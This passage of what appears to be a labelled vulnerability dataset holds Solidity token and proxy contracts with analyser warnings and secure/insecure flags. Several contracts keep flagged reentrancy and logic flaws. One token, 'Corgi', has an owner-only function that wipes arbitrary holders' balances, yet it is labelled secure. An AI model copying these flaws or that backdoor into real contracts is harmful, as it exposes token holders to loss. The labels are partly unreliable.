ethForDev = ethBalance.mul(tokensForDevTasi).div(\n totalTokensToSwap\n );\n\n\t\t// reentrancy-no-eth | ID: 096c6da\n tokensForMarketTasi = 0;\n\n\t\t// reentrancy-no-eth | ID: 096c6da\n tokensForDevTasi = 0;\n\n\t\t// reentrancy-events | ID: 8c497a3\n\t\t// reentrancy-benign | ID: a0da5d6\n\t\t// write-after-write | ID: 4a0838f\n\t\t// reentrancy-eth | ID: a766981\n (success, ) = address(TopSaudi).call{value: ethForDev}(\"\");\n\n\t\t// reentrancy-events | ID: 8c497a3\n\t\t// reentrancy-benign | ID: a0da5d6\n\t\t// write-after-write | ID: 4a0838f\n\t\t// reentrancy-eth | ID: a766981\n (success, ) = address(Tasi).call{value: address(this).balance}(\"\");\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapRouter.WETH();\n\n _approve(address(this), address(uniswapRouter), tokenAmount);\n\n\t\t// reentrancy-events | ID: 8c497a3\n\t\t// reentrancy-benign | ID: a0da5d6\n\t\t// reentrancy-no-eth | ID: 096c6da\n\t\t// reentrancy-eth | ID: a766981\n uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8c497a3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8c497a3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a0da5d6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a0da5d6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 69f6a77): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 69f6a77: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 9732a99): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 9732a99: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 488b957): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 488b957: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 80adba3): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 80adba3: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ca6069f): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for ca6069f: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: a766981): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for a766981: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(!isBlackList[from], \"[from] black list\");\n\n require(!isBlackList[to], \"[to] black list\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n\n return;\n }\n\n if (NolimitTasi) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (!SaudiTasiTradingActive) {\n require(\n isExcludedFromFees[from] || isExcludedFromFees[to],\n \"Trading is not active.\"\n );\n }\n\n if (ammPairs[from] && !isExcludeMaxTasiTX[to]) {\n require(\n amount <= MaxTasiTX,\n \"Buy transfer amount exceeds the MaxTasiTX.\"\n );\n\n require(\n amount + balanceOf(to) <= maxWalletSizeTasi,\n \"Max wallet exceeded\"\n );\n } else if (ammPairs[to] && !isExcludeMaxTasiTX[from]) {\n require(\n amount <= MaxTasiTX,\n \"Sell transfer amount exceeds the MaxTasiTX.\"\n );\n } else if (!isExcludeMaxTasiTX[to]) {\n require(\n amount + balanceOf(to) <= maxWalletSizeTasi,\n \"Max wallet exceeded\"\n );\n }\n }\n }\n\n if (\n antiDrainer != address(0) &&\n IAntiDrainer(antiDrainer).isEnabled(address(this))\n ) {\n\t\t\t// reentrancy-events | ID: 8c497a3\n\t\t\t// reentrancy-benign | ID: a0da5d6\n\t\t\t// reentrancy-no-eth | ID: 69f6a77\n\t\t\t// reentrancy-eth | ID: a766981\n bool check = IAntiDrainer(antiDrainer).check(\n from,\n to,\n address(uniswapPair),\n maxWalletSizeTasi,\n MaxTasiTX,\n swapTokensAtAmountTasi\n );\n\n require(check, \"Anti Drainer Enabled\");\n }\n\n uint256 contractBalance = balanceOf(address(this));\n\n bool canSwap = contractBalance >= swapTokensAtAmountTasi;\n\n if (\n canSwap &&\n TasiSwapEnabled &&\n !swapping &&\n ammPairs[to] &&\n !isExcludedFromFees[from] &&\n !isExcludedFromFees[to]\n ) {\n\t\t\t// reentrancy-no-eth | ID: 69f6a77\n swapping = true;\n\n\t\t\t// reentrancy-events | ID: 8c497a3\n\t\t\t// reentrancy-benign | ID: a0da5d6\n\t\t\t// reentrancy-eth | ID: a766981\n swapBack();\n\n\t\t\t// reentrancy-eth | ID: a766981\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (isExcludedFromFees[from] || isExcludedFromFees[to]) takeFee = false;\n\n uint256 fee = 0;\n\n if (takeFee) {\n if (ammPairs[to] && sellTotalFeesTasi > 0) {\n\t\t\t\t// divide-before-multiply | ID: 9732a99\n\t\t\t\t// divide-before-multiply | ID: 488b957\n fee = amount.mul(sellTotalFeesTasi).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 488b957\n\t\t\t\t// reentrancy-eth | ID: a766981\n tokensForDevTasi += (fee * sellDevFeeTasi) / sellTotalFeesTasi;\n\n\t\t\t\t// divide-before-multiply | ID: 9732a99\n\t\t\t\t// reentrancy-eth | ID: a766981\n tokensForMarketTasi +=\n (fee * sellMarketFeeTasi) /\n sellTotalFeesTasi;\n } else if (ammPairs[from] && buyTotalFeesTasi > 0) {\n\t\t\t\t// divide-before-multiply | ID: 80adba3\n\t\t\t\t// divide-before-multiply | ID: ca6069f\n fee = amount.mul(buyTotalFeesTasi).div(100);\n\n\t\t\t\t// divide-before-multiply | ID: 80adba3\n\t\t\t\t// reentrancy-eth | ID: a766981\n tokensForDevTasi += (fee * buyDevFeeTasi) / buyTotalFeesTasi;\n\n\t\t\t\t// divide-before-multiply | ID: ca6069f\n\t\t\t\t// reentrancy-eth | ID: a766981\n tokensForMarketTasi +=\n (fee * buyMarketFeeTasi) /\n buyTotalFeesTasi;\n }\n\n\t\t\t// reentrancy-events | ID: 8c497a3\n\t\t\t// reentrancy-eth | ID: a766981\n if (fee > 0) super._transfer(from, address(this), fee);\n\n amount -= fee;\n }\n\n\t\t// reentrancy-events | ID: 8c497a3\n\t\t// reentrancy-eth | ID: a766981\n super._transfer(from, to, amount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n}",
"file_name": "solidity_code_1506.sol",
"secure": 0,
"size_bytes": 20749
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract SPXCOIN is ERC20 {\n constructor() ERC20(\"SPXCOIN\", \"SPXCOIN\", 9) {\n _totalSupply = 100000000000 * 10 ** 9;\n\n _balances[msg.sender] += _totalSupply;\n\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n}",
"file_name": "solidity_code_1507.sol",
"secure": 1,
"size_bytes": 387
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/proxy/beacon/IBeacon.sol\" as IBeacon;\nimport \"./StorageSlot.sol\" as StorageSlot;\n\nabstract contract ERC1967Upgrade {\n bytes32 private constant _ROLLBACK_SLOT =\n 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n bytes32 internal constant _IMPLEMENTATION_SLOT =\n 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n event Upgraded(address indexed implementation);\n\n function _getImplementation() internal view returns (address) {\n return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n }\n\n function _setImplementation(address newImplementation) private {\n require(\n Address.isContract(newImplementation),\n \"ERC1967: new implementation is not a contract\"\n );\n\n StorageSlot\n .getAddressSlot(_IMPLEMENTATION_SLOT)\n .value = newImplementation;\n }\n\n function _upgradeTo(address newImplementation) internal {\n _setImplementation(newImplementation);\n\n\t\t// reentrancy-events | ID: 41dc9bc\n emit Upgraded(newImplementation);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 46ad6f4): ERC1967Upgrade._upgradeToAndCall(address,bytes,bool) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 46ad6f4: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCall(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n _upgradeTo(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: 46ad6f4\n Address.functionDelegateCall(newImplementation, data);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 41dc9bc): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 41dc9bc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f074dae): ERC1967Upgrade._upgradeToAndCallSecure(address,bytes,bool) ignores return value by Address.functionDelegateCall(newImplementation,abi.encodeWithSignature(upgradeTo(address),oldImplementation))\n\t// Recommendation for f074dae: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 1bf6637): ERC1967Upgrade._upgradeToAndCallSecure(address,bytes,bool) ignores return value by Address.functionDelegateCall(newImplementation,data)\n\t// Recommendation for 1bf6637: Ensure that all the return values of the function calls are used.\n function _upgradeToAndCallSecure(\n address newImplementation,\n bytes memory data,\n bool forceCall\n ) internal {\n address oldImplementation = _getImplementation();\n\n _setImplementation(newImplementation);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// reentrancy-events | ID: 41dc9bc\n\t\t\t// unused-return | ID: 1bf6637\n Address.functionDelegateCall(newImplementation, data);\n }\n\n StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot\n .getBooleanSlot(_ROLLBACK_SLOT);\n\n if (!rollbackTesting.value) {\n rollbackTesting.value = true;\n\n\t\t\t// reentrancy-events | ID: 41dc9bc\n\t\t\t// unused-return | ID: f074dae\n Address.functionDelegateCall(\n newImplementation,\n abi.encodeWithSignature(\"upgradeTo(address)\", oldImplementation)\n );\n\n rollbackTesting.value = false;\n\n require(\n oldImplementation == _getImplementation(),\n \"ERC1967Upgrade: upgrade breaks further upgrades\"\n );\n\n\t\t\t// reentrancy-events | ID: 41dc9bc\n _upgradeTo(newImplementation);\n }\n }\n\n bytes32 internal constant _ADMIN_SLOT =\n 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n event AdminChanged(address previousAdmin, address newAdmin);\n\n function _getAdmin() internal view returns (address) {\n return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;\n }\n\n function _setAdmin(address newAdmin) private {\n require(\n newAdmin != address(0),\n \"ERC1967: new admin is the zero address\"\n );\n\n StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n }\n\n function _changeAdmin(address newAdmin) internal {\n emit AdminChanged(_getAdmin(), newAdmin);\n\n _setAdmin(newAdmin);\n }\n\n bytes32 internal constant _BEACON_SLOT =\n 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n event BeaconUpgraded(address indexed beacon);\n\n function _getBeacon() internal view returns (address) {\n return StorageSlot.getAddressSlot(_BEACON_SLOT).value;\n }\n\n function _setBeacon(address newBeacon) private {\n require(\n Address.isContract(newBeacon),\n \"ERC1967: new beacon is not a contract\"\n );\n\n require(\n Address.isContract(IBeacon(newBeacon).implementation()),\n \"ERC1967: beacon implementation is not a contract\"\n );\n\n StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: f11c767): ERC1967Upgrade._upgradeBeaconToAndCall(address,bytes,bool) ignores return value by Address.functionDelegateCall(IBeacon(newBeacon).implementation(),data)\n\t// Recommendation for f11c767: Ensure that all the return values of the function calls are used.\n function _upgradeBeaconToAndCall(\n address newBeacon,\n bytes memory data,\n bool forceCall\n ) internal {\n _setBeacon(newBeacon);\n\n emit BeaconUpgraded(newBeacon);\n\n if (data.length > 0 || forceCall) {\n\t\t\t// unused-return | ID: f11c767\n Address.functionDelegateCall(\n IBeacon(newBeacon).implementation(),\n data\n );\n }\n }\n}",
"file_name": "solidity_code_1508.sol",
"secure": 0,
"size_bytes": 6484
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/proxy/Proxy.sol\" as Proxy;\nimport \"./ERC1967Upgrade.sol\" as ERC1967Upgrade;\n\ncontract ERC1967Proxy is Proxy, ERC1967Upgrade {\n constructor(address _logic, bytes memory _data) payable {\n assert(\n _IMPLEMENTATION_SLOT ==\n bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1)\n );\n\n _upgradeToAndCall(_logic, _data, false);\n }\n\n function _implementation()\n internal\n view\n virtual\n override\n returns (address impl)\n {\n return ERC1967Upgrade._getImplementation();\n }\n}",
"file_name": "solidity_code_1509.sol",
"secure": 1,
"size_bytes": 694
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\n// WARNING Vulnerability (locked-ether | severity: Medium | ID: ab9c8c7): Contract locking ether found Contract StarkyBloogleStar has payable functions StarkyBloogleStar.receive() But does not have a function to withdraw the ether\n// Recommendation for ab9c8c7: Remove the 'payable' attribute or add a withdraw function.\ncontract StarkyBloogleStar is ERC20, Ownable {\n constructor() ERC20(unicode\"Starky Bloogle Star \", unicode\"STARKY6900\") {\n _mint(owner(), 1000000000 * (10 ** 18));\n }\n\n\t// WARNING Vulnerability (locked-ether | severity: Medium | ID: ab9c8c7): Contract locking ether found Contract StarkyBloogleStar has payable functions StarkyBloogleStar.receive() But does not have a function to withdraw the ether\n\t// Recommendation for ab9c8c7: Remove the 'payable' attribute or add a withdraw function.\n receive() external payable {}\n}",
"file_name": "solidity_code_151.sol",
"secure": 0,
"size_bytes": 1069
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./ERC1967Proxy.sol\" as ERC1967Proxy;\n\ncontract TransparentUpgradeableProxy is ERC1967Proxy {\n constructor(\n address _logic,\n address admin_,\n bytes memory _data\n ) payable ERC1967Proxy(_logic, _data) {\n assert(\n _ADMIN_SLOT ==\n bytes32(uint256(keccak256(\"eip1967.proxy.admin\")) - 1)\n );\n\n _changeAdmin(admin_);\n }\n\n\t// WARNING Vulnerability (incorrect-modifier | severity: Low | ID: 2e9c5af): Modifier TransparentUpgradeableProxy.ifAdmin() does not always execute _; or revert\n\t// Recommendation for 2e9c5af: All the paths in a modifier must execute '_' or revert.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: fc619e8): TransparentUpgradeableProxy.upgradeTo(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for fc619e8: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 81304c2): TransparentUpgradeableProxy.upgradeToAndCall(address,bytes) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 81304c2: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: beaf644): TransparentUpgradeableProxy.implementation() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for beaf644: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: de214ac): TransparentUpgradeableProxy.ifAdmin() calls Proxy._fallback() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for de214ac: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: b3d2c33): TransparentUpgradeableProxy.changeAdmin(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for b3d2c33: Use the 'leave' statement.\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: e8c070f): TransparentUpgradeableProxy.admin() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for e8c070f: Use the 'leave' statement.\n modifier ifAdmin() {\n if (msg.sender == _getAdmin()) {\n _;\n } else {\n _fallback();\n }\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: e8c070f): TransparentUpgradeableProxy.admin() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for e8c070f: Use the 'leave' statement.\n function admin() external ifAdmin returns (address admin_) {\n admin_ = _getAdmin();\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: beaf644): TransparentUpgradeableProxy.implementation() calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for beaf644: Use the 'leave' statement.\n function implementation()\n external\n ifAdmin\n returns (address implementation_)\n {\n implementation_ = _implementation();\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: b3d2c33): TransparentUpgradeableProxy.changeAdmin(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for b3d2c33: Use the 'leave' statement.\n function changeAdmin(address newAdmin) external virtual ifAdmin {\n _changeAdmin(newAdmin);\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: fc619e8): TransparentUpgradeableProxy.upgradeTo(address) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for fc619e8: Use the 'leave' statement.\n function upgradeTo(address newImplementation) external ifAdmin {\n _upgradeToAndCall(newImplementation, bytes(\"\"), false);\n }\n\n\t// WARNING Vulnerability (incorrect-return | severity: High | ID: 81304c2): TransparentUpgradeableProxy.upgradeToAndCall(address,bytes) calls TransparentUpgradeableProxy.ifAdmin() which halt the execution return(uint256,uint256)(0,returndatasize()())\n\t// Recommendation for 81304c2: Use the 'leave' statement.\n function upgradeToAndCall(\n address newImplementation,\n bytes calldata data\n ) external payable ifAdmin {\n _upgradeToAndCall(newImplementation, data, true);\n }\n\n function _admin() internal view virtual returns (address) {\n return _getAdmin();\n }\n\n function _beforeFallback() internal virtual override {\n require(\n msg.sender != _getAdmin(),\n \"TransparentUpgradeableProxy: admin cannot fallback to proxy target\"\n );\n\n super._beforeFallback();\n }\n}",
"file_name": "solidity_code_1510.sol",
"secure": 0,
"size_bytes": 5245
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Corgi is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable health;\n\n constructor() {\n _name = \"CORGI\";\n\n _symbol = \"CORGI\";\n\n _decimals = 18;\n\n uint256 initialSupply = 395000000;\n\n health = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = _balances[account].add(amount);\n\n emit Transfer(address(0), account, amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == health, \"Not allowed\");\n\n _;\n }\n\n function era(address[] memory hen) public onlyOwner {\n for (uint256 i = 0; i < hen.length; i++) {\n address account = hen[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n}",
"file_name": "solidity_code_1511.sol",
"secure": 1,
"size_bytes": 4338
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRewardDistributor {\n function rewardToken() external view returns (address);\n\n function tokensPerInterval() external view returns (uint256);\n\n function pendingRewards() external view returns (uint256);\n\n function distribute() external returns (uint256);\n}",
"file_name": "solidity_code_1512.sol",
"secure": 1,
"size_bytes": 348
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IRewardTracker {\n function depositBalances(\n address _account,\n address _depositToken\n ) external returns (uint256);\n\n function stakedAmounts(address _account) external returns (uint256);\n\n function updateRewards() external;\n\n function stake(address _depositToken, uint256 _amount) external;\n\n function stakeForAccount(\n address _fundingAccount,\n address _account,\n address _depositToken,\n uint256 _amount\n ) external;\n\n function unstake(address _depositToken, uint256 _amount) external;\n\n function unstakeForAccount(\n address _account,\n address _depositToken,\n uint256 _amount,\n address _receiver\n ) external;\n\n function tokensPerInterval() external view returns (uint256);\n\n function claim(address _receiver) external returns (uint256);\n\n function claimForAccount(\n address _account,\n address _receiver\n ) external returns (uint256);\n\n function claimable(address _account) external view returns (uint256);\n\n function averageStakedAmounts(\n address _account\n ) external view returns (uint256);\n\n function cumulativeRewards(\n address _account\n ) external view returns (uint256);\n}",
"file_name": "solidity_code_1513.sol",
"secure": 1,
"size_bytes": 1353
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract Governable {\n address public gov;\n\n constructor() {\n gov = msg.sender;\n }\n\n modifier onlyGov() {\n require(msg.sender == gov, \"Governable: forbidden\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 42c0767): Governable.setGov(address)._gov lacks a zerocheck on \t gov = _gov\n\t// Recommendation for 42c0767: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 35ccbd5): Governable.setGov(address) should emit an event for gov = _gov \n\t// Recommendation for 35ccbd5: Emit an event for critical parameter changes.\n function setGov(address _gov) external onlyGov {\n\t\t// missing-zero-check | ID: 42c0767\n\t\t// events-access | ID: 35ccbd5\n gov = _gov;\n }\n}",
"file_name": "solidity_code_1514.sol",
"secure": 0,
"size_bytes": 870
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"./IRewardDistributor.sol\" as IRewardDistributor;\nimport \"@openzeppelin/contracts/utils/ReentrancyGuard.sol\" as ReentrancyGuard;\nimport \"./Governable.sol\" as Governable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\" as SafeERC20;\nimport \"./IRewardTracker.sol\" as IRewardTracker;\n\ncontract RewardDistributor is IRewardDistributor, ReentrancyGuard, Governable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n\t// WARNING Optimization Issue (immutable-states | ID: e5f56b8): RewardDistributor.rewardToken should be immutable \n\t// Recommendation for e5f56b8: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public override rewardToken;\n\n uint256 public override tokensPerInterval;\n\n uint256 public lastDistributionTime;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 09398f5): RewardDistributor.rewardTracker should be immutable \n\t// Recommendation for 09398f5: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public rewardTracker;\n\n address public admin;\n\n event Distribute(uint256 amount);\n\n event TokensPerIntervalChange(uint256 amount);\n\n modifier onlyAdmin() {\n require(msg.sender == admin, \"RewardDistributor: forbidden\");\n\n _;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 1b03040): RewardDistributor.constructor(address,address)._rewardTracker lacks a zerocheck on \t rewardTracker = _rewardTracker\n\t// Recommendation for 1b03040: Check that the address is not zero.\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: bb55671): RewardDistributor.constructor(address,address)._rewardToken lacks a zerocheck on \t rewardToken = _rewardToken\n\t// Recommendation for bb55671: Check that the address is not zero.\n constructor(address _rewardToken, address _rewardTracker) {\n\t\t// missing-zero-check | ID: bb55671\n rewardToken = _rewardToken;\n\n\t\t// missing-zero-check | ID: 1b03040\n rewardTracker = _rewardTracker;\n\n admin = msg.sender;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 618ca02): RewardDistributor.setAdmin(address)._admin lacks a zerocheck on \t admin = _admin\n\t// Recommendation for 618ca02: Check that the address is not zero.\n\t// WARNING Vulnerability (events-access | severity: Low | ID: 43be17c): RewardDistributor.setAdmin(address) should emit an event for admin = _admin \n\t// Recommendation for 43be17c: Emit an event for critical parameter changes.\n function setAdmin(address _admin) external onlyGov {\n\t\t// missing-zero-check | ID: 618ca02\n\t\t// events-access | ID: 43be17c\n admin = _admin;\n }\n\n function withdrawToken(\n address _token,\n address _account,\n uint256 _amount\n ) external onlyGov {\n IERC20(_token).safeTransfer(_account, _amount);\n }\n\n function updateLastDistributionTime() external onlyAdmin {\n lastDistributionTime = block.timestamp;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 08baba9): RewardDistributor.setTokensPerInterval(uint256) uses timestamp for comparisons Dangerous comparisons require(bool,string)(lastDistributionTime != 0,RewardDistributor invalid lastDistributionTime)\n\t// Recommendation for 08baba9: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0637ced): Reentrancy in RewardDistributor.setTokensPerInterval(uint256) External calls IRewardTracker(rewardTracker).updateRewards() Event emitted after the call(s) TokensPerIntervalChange(_amount)\n\t// Recommendation for 0637ced: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 161507b): Reentrancy in RewardDistributor.setTokensPerInterval(uint256) External calls IRewardTracker(rewardTracker).updateRewards() State variables written after the call(s) tokensPerInterval = _amount\n\t// Recommendation for 161507b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n 